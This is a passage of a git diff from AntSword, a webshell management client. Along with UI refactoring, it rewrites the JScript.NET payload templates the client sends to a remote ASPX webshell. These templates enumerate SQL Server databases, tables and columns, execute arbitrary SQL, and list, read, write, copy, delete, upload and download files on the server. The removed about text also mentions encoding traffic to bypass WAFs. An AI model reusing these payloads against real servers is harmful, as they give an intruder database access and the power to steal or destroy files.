!Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, [arg1]: '#{base64::conn}' }, // 显示数据库所有表 show_tables: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("USE ["+Request.Item["${arg2}"]+"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("USE ["+Request.Item["${arg2}"]+"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, [arg1]: '#{base64::conn}', [arg2]: '#{dbname}' }, // 显示表字段 show_columns: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+")\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+")\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd= [arg1]: '#{base64::conn}', // USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid @@ -28,7 +28,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 执行SQL语句 query: { _: - `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;Conn.DefaultDatabase="${arg3}";var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c ({ dir: { _: - `var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");}`, + `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\\t"+T(P)+"\\t0\\t"+(s[i].Attributes)+"\\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\\t"+T(P)+"\\t"+s[i].Length+"\\t"+(s[i].Attributes)+"\\n");}`, [arg1]: "#{base64::path}" }, delete: { _: - `var P:String=System.Convert.FromBase64String(Request.Item["${arg1}"]);if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");`, + `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");`, [arg1]: "#{base64::path}" }, create_file: { _: - `var P=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Convert.FromBase64String(Request.Item["${arg2}"]));m.Close();Response.Write("1");`, + `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])));m.Close();Response.Write("1");`, [arg1]: "#{base64::path}", [arg2]: "#{base64::content}" }, read_file: { _: - `var P=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();`, + `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();`, [arg1]: "#{base64::path}" }, copy: { _: - `var S=System.Convert.FromBase64String(Request.Item["${arg1}"]);var D=System.Convert.FromBase64String(Request.Item["${arg2}"]);function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\"+f[i].Name,D+"\\"+f[i].Name);for (i in d)cp(S+"\\"+d[i].Name,D+"\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");`, + `var S=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\\\"+f[i].Name,D+"\\\\"+f[i].Name);for (i in d)cp(S+"\\\\"+d[i].Name,D+"\\\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");`, [arg1]: "#{base64::path}", [arg2]: "#{base64::target}" }, download_file: { _: - `Response.WriteFile(System.Convert.FromBase64String(Request.Item["z1"]));`, + `Response.WriteFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));`, [arg1]: "#{base64::path}" }, upload_file: { _: - // `var P:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;iAppend - `var P:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i { + /** + * 时间格式化函数 + * @param {String} format 格式化字符串,如yyyy/mm/dd hh:ii:ss + * @return {String} 格式化完毕的字符串 + */ Date.prototype.format = function(format) { - const o = { + let o = { "M+" : this.getMonth()+1, "d+" : this.getDate(), "h+" : this.getHours(), @@ -12,22 +22,94 @@ $(document).ready(() => { if(/(y+)/.test(format)) { format=format.replace(RegExp.$1, (this.getFullYear()+"").substr(4- RegExp.$1.length)) }; - for(var k in o) { + for(let k in o) { if(new RegExp("("+ k +")").test(format)) { format = format.replace(RegExp.$1, RegExp.$1.length==1? o[k] : ("00"+ o[k]).substr((""+ o[k]).length)); } } return format; } - layer.config({extend: 'extend/layer.ext.js'}); - function loadJS(js, cb) { - var script = document.createElement('script'); - script.src = js; - script.onload = cb; - document.head.appendChild(script); + + /** + * 加载JS函数 + * @param {String} js js地址 + * @return {Promise} 返回Promise操作对象 + */ + function loadJS(js) { + return new Promise((res, rej) => { + let script = document.createElement('script'); + script.src = js; + script.onload = res; + document.head.appendChild(script); + }); + } + + /** + * 加载CSS函数 + * @param {String} css css地址 + * @return {Promise} 返回Promise操作对象 + */ + function loadCSS(css) { + return new Promise((res, rej) => { + let style = document.createElement('link'); + style.rel = 'stylesheet'; + style.href = css; + style.onload = res; + document.head.appendChild(style); + }); } - loadJS('../static/libs/dhtmlx/codebase/dhtmlx_pro.js', () => { - loadJS('../static/build/app.bundle.js', null); + + // 开始加载css + loadCSS( + '../static/libs/bmenu/bmenu.css' + ).then(() => { + return loadCSS('../static/libs/toastr/toastr.css'); + }).then(() => { + return loadCSS('../static/libs/layer/src/skin/layer.css'); + }).then(() => { + return loadCSS('../static/libs/layer/src/skin/layer.ext.css'); + }).then(() => { + return loadCSS('../static/libs/laydate/need/laydate.css'); + }).then(() => { + return loadCSS('../static/libs/laydate/skins/default/laydate.css'); + }).then(() => { + return loadCSS('../static/libs/terminal/css/jquery.terminal.css'); + }).then(() => { + return loadCSS('../static/libs/font-awesome/css/font-awesome.css'); + }).then(() => { + return loadCSS('../static/libs/dhtmlx/codebase/dhtmlx.css'); + }).then(() => { + return loadCSS('../static/libs/dhtmlx/skins/mytheme/dhtmlx.css'); + }).then(() => { + return loadCSS('../static/css/index.css'); + }); + + // 加载js资源 + loadJS( + '../static/libs/ace/ace.js' + ).then(() => { + return loadJS('../static/libs/ace/ext-language_tools.js'); + }).then(() => { + return loadJS('../static/libs/bmenu/bmenu.js'); + }).then(() => { + return loadJS('../static/libs/toastr/toastr.js'); + }).then(() => { + return loadJS('../static/libs/layer/src/layer.js'); + }).then(() => { + return loadJS('../static/libs/laydate/laydate.js'); + }).then(() => { + return loadJS('../static/libs/terminal/js/jquery.terminal-src.js'); + }).then(() => { + return loadJS('../static/libs/dhtmlx/codebase/dhtmlx_pro.js'); + }).then(() => { + /** + * 配置layer弹出层 + * @param {[type]} {extend: 'extend/layer.ext.js'} [description] + * @return {[type]} [description] + */ + layer.config({extend: 'extend/layer.ext.js'}); + // 加载程序入口 + return loadJS('../static/build/app.bundle.js'); }); -}); \ No newline at end of file +}); diff --git a/source/modules/database/asp/index.jsx b/source/modules/database/asp/index.jsx index 2d358f79..39faa6de 100644 --- a/source/modules/database/asp/index.jsx +++ b/source/modules/database/asp/index.jsx @@ -93,13 +93,13 @@ class ASP { { text: '添加配置', icon: 'fa fa-plus-circle', - action: this::this.addConf + action: this.addConf.bind(this) }, { divider: true }, { text: '删除配置', icon: 'fa fa-remove', - action: this::this.delConf + action: this.delConf.bind(this) } ], event); }); @@ -456,7 +456,7 @@ class ASP { // 禁用SQL编辑框 disableEditor() { ['exec', 'clear'].map( - this.manager.query.toolbar::this.manager.query.toolbar.disableItem + this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(true); } @@ -464,7 +464,7 @@ class ASP { // 启用SQL编辑框 enableEditor() { ['exec', 'clear'].map( - this.manager.query.toolbar::this.manager.query.toolbar.enableItem + this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(false); } diff --git a/source/modules/database/custom/index.jsx b/source/modules/database/custom/index.jsx index 8ea95d03..b9414543 100644 --- a/source/modules/database/custom/index.jsx +++ b/source/modules/database/custom/index.jsx @@ -89,13 +89,13 @@ class ASP { { text: '添加配置', icon: 'fa fa-plus-circle', - action: this::this.addConf + action: this.addConf.bind(this) }, { divider: true }, { text: '删除配置', icon: 'fa fa-remove', - action: this::this.delConf + action: this.delConf.bind(this) } ], event); }); @@ -455,7 +455,7 @@ class ASP { // 禁用SQL编辑框 disableEditor() { ['exec', 'clear'].map( - this.manager.query.toolbar::this.manager.query.toolbar.disableItem + this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(true); } @@ -463,7 +463,7 @@ class ASP { // 启用SQL编辑框 enableEditor() { ['exec', 'clear'].map( - this.manager.query.toolbar::this.manager.query.toolbar.enableItem + this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(false); } diff --git a/source/modules/database/php/index.jsx b/source/modules/database/php/index.jsx index c9eacbdc..67d32486 100644 --- a/source/modules/database/php/index.jsx +++ b/source/modules/database/php/index.jsx @@ -84,13 +84,13 @@ class PHP { { text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', - action: this::this.addConf + action: this.addConf.bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', - action: this::this.delConf + action: this.delConf.bind(this) } ], event); }); @@ -481,7 +481,7 @@ class PHP { // 禁用SQL编辑框 disableEditor() { ['exec', 'clear'].map( - this.manager.query.toolbar::this.manager.query.toolbar.disableItem + this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(true); } @@ -489,7 +489,7 @@ class PHP { // 启用SQL编辑框 enableEditor() { ['exec', 'clear'].map( - this.manager.query.toolbar::this.manager.query.toolbar.enableItem + this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(false); } diff --git a/source/modules/filemanager/index.jsx b/source/modules/filemanager/index.jsx index 7d5357d6..4150517d 100644 --- a/source/modules/filemanager/index.jsx +++ b/source/modules/filemanager/index.jsx @@ -837,7 +837,7 @@ class FileManager { editor.session.setValue(ret); // 定时刷新 - const inter = setInterval(editor::editor.resize, 200); + const inter = setInterval(editor.resize.bind(editor), 200); win.attachEvent('onClose', () => { clearInterval(inter); return true; diff --git a/source/modules/plugin/index.jsx b/source/modules/plugin/index.jsx index 0bc75016..2dc60197 100644 --- a/source/modules/plugin/index.jsx +++ b/source/modules/plugin/index.jsx @@ -1,6 +1,6 @@ -// +// // 插件中心 -// +// const LANG = antSword['language']['plugin']; const LANG_T = antSword['language']['toastr']; @@ -8,7 +8,7 @@ const LANG_T = antSword['language']['toastr']; class Plugin { constructor() { - antSword['menubar'].reg('plugin', this::this.open); + antSword['menubar'].reg('plugin', this.open.bind(this)); this.homepage = 'http://u.uyu.us/'; } @@ -24,9 +24,9 @@ class Plugin { null, null, true, true ); const cell = tabbar.tabs('tab_plugin'); - // + // // @创建浏览器工具栏:后退、前进、刷新、主页、停止 - // + // const toolbar = cell.attachToolbar(); toolbar.loadStruct([ { id: 'back', type: 'button', text: '', icon: 'chevron-left' }, @@ -39,8 +39,8 @@ class Plugin { // 开始加载web cell.progressOn(); const frame = cell.attachURI(this.homepage); - frame.addEventListener('did-start-loading', cell::cell.progressOn); - frame.addEventListener('did-finish-load', cell::cell.progressOff); + frame.addEventListener('did-start-loading', cell.progressOn.bind(cell)); + frame.addEventListener('did-finish-load', cell.progressOff.bind(cell)); frame.addEventListener('did-fail-load', (err) => { cell.progressOff(); // cell.close(); @@ -74,4 +74,4 @@ class Plugin { } -export default Plugin; \ No newline at end of file +export default Plugin; diff --git a/source/modules/settings/about.jsx b/source/modules/settings/about.jsx index 2bdb022f..576eae2d 100644 --- a/source/modules/settings/about.jsx +++ b/source/modules/settings/about.jsx @@ -1,3 +1,7 @@ +/** + * 设置中心::关于 + */ + const LANG = antSword['language']['settings']; class About { @@ -10,21 +14,26 @@ class About { }); const cell = sidebar.cells('about'); cell.attachHTMLString(` -
- -
-
-

中国蚁剑是一款开源的网站管理工具,它主要面向于合法授权的渗透测试网络安全爱好者以及常规的网站操作管理人员,任何人不得用于非法用途以及盈利目的,否则后果自行承担。

-

中国蚁剑采用Electron作为外壳,ES6作为前端框架语言。完全模块化的代码架构,让你轻易地对各种功能进行最大化自由的修改添加。目前支持三大主流操作系统:windows、linux、osx,支持三大主流网站脚本:php、asp、aspx,以及自定义数据格式的custom脚本。除此之外,你可以参考代码轻易地修改添加支持脚本类型,还可以编写编码模块对源数据进行编码加密等处理操作,以绕过各种WAF以及保护自己的数据安全。

-

当前支持三大主模块功能:文件管理、数据库管理、虚拟终端操作,以及正在开发中的插件管理功能,完全满足你的需求。目前脚本代码均来源于伟大的中国菜刀,本人只是进行了解密以及一些改动。在此向中国菜刀致敬!

-
-
    -
  • 微博:http://weibo.com/antoor
  • -
  • 交流群:130993112
  • +
    + +
    +

    中国蚁剑

    +

    + GitHub | + 主页 | + 文档 | + Q群 +

    `); + + // 在默认浏览器中打开链接 + $('.about').on('click', 'a', function(e) { + e.preventDefault(); + antSword['shell'].openExternal(this.href); + }); } } -export default About; \ No newline at end of file +export default About; diff --git a/source/modules/settings/index.jsx b/source/modules/settings/index.jsx index 5343b8ac..e9c85a07 100644 --- a/source/modules/settings/index.jsx +++ b/source/modules/settings/index.jsx @@ -10,10 +10,11 @@ import AProxy from './aproxy' class Settings { constructor() { - antSword['menubar'].reg('settings', this::this.open); + antSword['menubar'].reg('settings', this.open.bind(this)); ['about', 'update', 'language', 'aproxy'].map((_) => { antSword['menubar'].reg(`settings-${_}`, this.setActive.bind(this, _)); }); + return this; } open() { @@ -33,10 +34,10 @@ class Settings { template: 'text', width: 200 }); - new About(sidebar); - new Language(sidebar); - new Update(sidebar); - new AProxy(sidebar); + this.about = new About(sidebar); + this.language = new Language(sidebar); + this.update = new Update(sidebar); + this.aproxy = new AProxy(sidebar); this.cell = cell; this.sidebar = sidebar; diff --git a/source/modules/settings/update.jsx b/source/modules/settings/update.jsx index 210bfb36..6a1281e4 100644 --- a/source/modules/settings/update.jsx +++ b/source/modules/settings/update.jsx @@ -1,6 +1,6 @@ -// -// 检查更新 -// +/** + * 检查更新模块 + */ const LANG = antSword['language']['settings']['update']; const LANG_T = antSword['language']['toastr']; @@ -13,7 +13,7 @@ class Update { }); const cell = sidebar.cells('update'); - // toolbar + // 初始化toolbar const toolbar = cell.attachToolbar(); toolbar.loadStruct([ { @@ -34,24 +34,26 @@ class Update { } }); - // status + // 显示当前版本号 cell.attachHTMLString(` ${LANG['current']}: ${antSword['package']['version']} `); - this.cell = cell; } - // 检查更新 + /** + * 检查更新 + * @return {None} [description] + */ checkUpdate() { this.cell.progressOn(); toastr.info(LANG['check']['ing'], LANG_T['info']); // 后台检查更新 antSword['ipcRenderer'] - .on('update-check', (event, ret) => { + .once('update-check', (event, ret) => { this.cell.progressOff(); - const info = ret['retVal']; + let info = ret['retVal']; // 木有更新 if (!ret['hasUpdate']) { return typeof info === 'string' @@ -89,7 +91,7 @@ class Update { this.updateLoading(); // 通知后台 antSword['ipcRenderer'] - .on('update-download', (event, ret) => { + .once('update-download', (event, ret) => { // 下载失败 console.log(ret); if (!ret['done']) { @@ -121,7 +123,10 @@ class Update { }); } - // 更新动画 + /** + * 更新动画进度 + * @return {[type]} [description] + */ updateLoading() { // 删除按钮 $('.layui-layer-btn').remove(); @@ -138,7 +143,11 @@ class Update { `); } - // 更新失败提示界面 + /** + * 更新失败提示界面 + * @param {String} tip 失败信息 + * @return {[type]} [description] + */ updateFail(tip) { $('.layui-layer-content').html(`
    @@ -150,7 +159,10 @@ class Update { setTimeout(layer.closeAll, 1024 * 5); } - // 更新成功提示界面 + /** + * 更新成功提示界面 + * @return {None} [description] + */ updateSuccess() { $('.layui-layer-content').html(`
    @@ -165,4 +177,4 @@ class Update { } } -export default Update; \ No newline at end of file +export default Update; diff --git a/source/modules/shellmanager/category.jsx b/source/modules/shellmanager/category.jsx index 47d479e3..e3c1abc1 100644 --- a/source/modules/shellmanager/category.jsx +++ b/source/modules/shellmanager/category.jsx @@ -1,6 +1,6 @@ -// -// 右侧目录管理模块 -// +/** + * 右侧目录管理模块 + */ 'use strict'; @@ -95,7 +95,7 @@ class Category { sidebar.callEvent('onSelect', ['default']); // 3. 删除侧边栏 sidebar.items(category).remove(); - setTimeout(this::this.updateTitle, 100); + setTimeout(this.updateTitle.bind(this), 100); }else{ return toastr.error(LANG['category']['del']['error'](category, ret.toString()), LANG_T['error']); } @@ -139,4 +139,4 @@ class Category { } -export default Category; \ No newline at end of file +export default Category; diff --git a/source/modules/shellmanager/index.jsx b/source/modules/shellmanager/index.jsx index 988d32ac..6706f8cc 100644 --- a/source/modules/shellmanager/index.jsx +++ b/source/modules/shellmanager/index.jsx @@ -1,6 +1,6 @@ -// -// Shell管理模块 -// +/** + * Shell管理模块 + */ 'use strict'; @@ -37,7 +37,7 @@ class ShellManager { this.win.attachViewportTo(cell.cell); // 监听菜单栏消息 - antSword['menubar'].reg('shell-add', this::this.addData); + antSword['menubar'].reg('shell-add', this.addData.bind(this)); this.loadData(); diff --git a/source/modules/shellmanager/list.jsx b/source/modules/shellmanager/list.jsx index 148d3899..9caab66c 100644 --- a/source/modules/shellmanager/list.jsx +++ b/source/modules/shellmanager/list.jsx @@ -1,8 +1,7 @@ -// -// 左侧shell数据管理模块 -// +/** + * 左侧shell数据管理模块 + */ -// import Db from '../../database/'; import Terminal from '../terminal/'; import Database from '../database/'; import FileManager from '../filemanager/'; @@ -36,7 +35,7 @@ class List { ${LANG['list']['grid']['ctime']}, ${LANG['list']['grid']['utime']} `); - grid.setColTypes("ro,ro,ro,ro,ro"); + grid.setColTypes("ro,ro,ro,ro,ro"); grid.setColSorting('str,str,str,str,str'); grid.setInitWidths("200,120,*,140,140"); grid.setColAlign("left,left,left,center,center"); @@ -82,7 +81,7 @@ class List { { text: LANG['contextmenu']['plugin'], icon: 'fa fa-puzzle-piece', disabled: !id || ids.length !== 1 || true, subMenu: [] }, { text: LANG['contextmenu']['pluginCenter'], icon: 'fa fa-cart-arrow-down', action: antSword['menubar'].run.bind(antSword['menubar'], 'plugin') }, { divider: true }, - { text: LANG['contextmenu']['add'], icon: 'fa fa-plus-circle', action: manager::manager.addData }, + { text: LANG['contextmenu']['add'], icon: 'fa fa-plus-circle', action: manager.addData.bind(manager) }, { text: LANG['contextmenu']['edit'], icon: 'fa fa-edit', disabled: !id || ids.length !== 1, action: () => { manager.editData(id); } }, @@ -118,12 +117,12 @@ class List { }); return ret; })() }, - { text: LANG['contextmenu']['search'], icon: 'fa fa-search', action: manager::manager.searchData, disabled: true }, + { text: LANG['contextmenu']['search'], icon: 'fa fa-search', action: manager.searchData.bind(manager), disabled: true }, { divider: true }, { text: LANG['contextmenu']['clearCache'], icon: 'fa fa-trash-o', disabled: !id, action: () => { manager.clearCache(id); } }, - { text: LANG['contextmenu']['clearAllCache'], icon: 'fa fa-trash', action: manager::manager.clearAllCache } + { text: LANG['contextmenu']['clearAllCache'], icon: 'fa fa-trash', action: manager.clearAllCache.bind(manager) } ], event); return true; @@ -156,4 +155,4 @@ class List { } } -export default List; \ No newline at end of file +export default List; diff --git a/static/css/index.css b/static/css/index.css index 6b09abd9..ed18b122 100644 --- a/static/css/index.css +++ b/static/css/index.css @@ -164,3 +164,38 @@ html, body, #container, #loading { transform: translate(0, -6.25px); top: 25px; left: 100px; } + + +/*关于*/ +.about { + font-family: sans-serif; + -webkit-user-select: none; +} +.about > img { + width: 30%; +} +.about > img:hover { + -webkit-animation: tada 1s .2s ease both; + -moz-animation: tada 1s .2s ease both; + } +@-moz-keyframes tada{0%{-moz-transform:scale(1);}10%,20%{-moz-transform:scale(0.9) rotate(-3deg);}30%,50%,70%,90%{-moz-transform:scale(1.1) rotate(3deg);}40%,60%,80%{-moz-transform:scale(1.1) rotate(-3deg);}100%{-moz-transform:scale(1) rotate(0);}} +@-webkit-keyframes tada{0%{-webkit-transform:scale(1);}10%,20%{-webkit-transform:scale(0.9) rotate(-3deg);}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);}100%{-webkit-transform:scale(1) rotate(0);}} + +.about > hr { + width: 66%; + border-color: #ececec; + border-top: none; +} + +.about > p { + color: #ececec; +} +.about a { + text-decoration: blink; + color: #795548; + transition: all .5s linear; + font-size: 14px; +} +.about a:hover { + color: #009688; +} diff --git a/views/index.html b/views/index.html index 609e4f4d..bdbfc5f6 100644 --- a/views/index.html +++ b/views/index.html @@ -3,31 +3,11 @@ AntSword - - - - - - - - - - - - - - - - - - - + +
    - diff --git a/webpack.config.js b/webpack.config.js index 75e7ce24..e7f76ed9 100644 --- a/webpack.config.js +++ b/webpack.config.js @@ -20,4 +20,4 @@ module.exports = { { test: /\.jsx$/, loader: 'babel', query: { presets: ['es2015', 'stage-0'] }} ] } -} \ No newline at end of file +}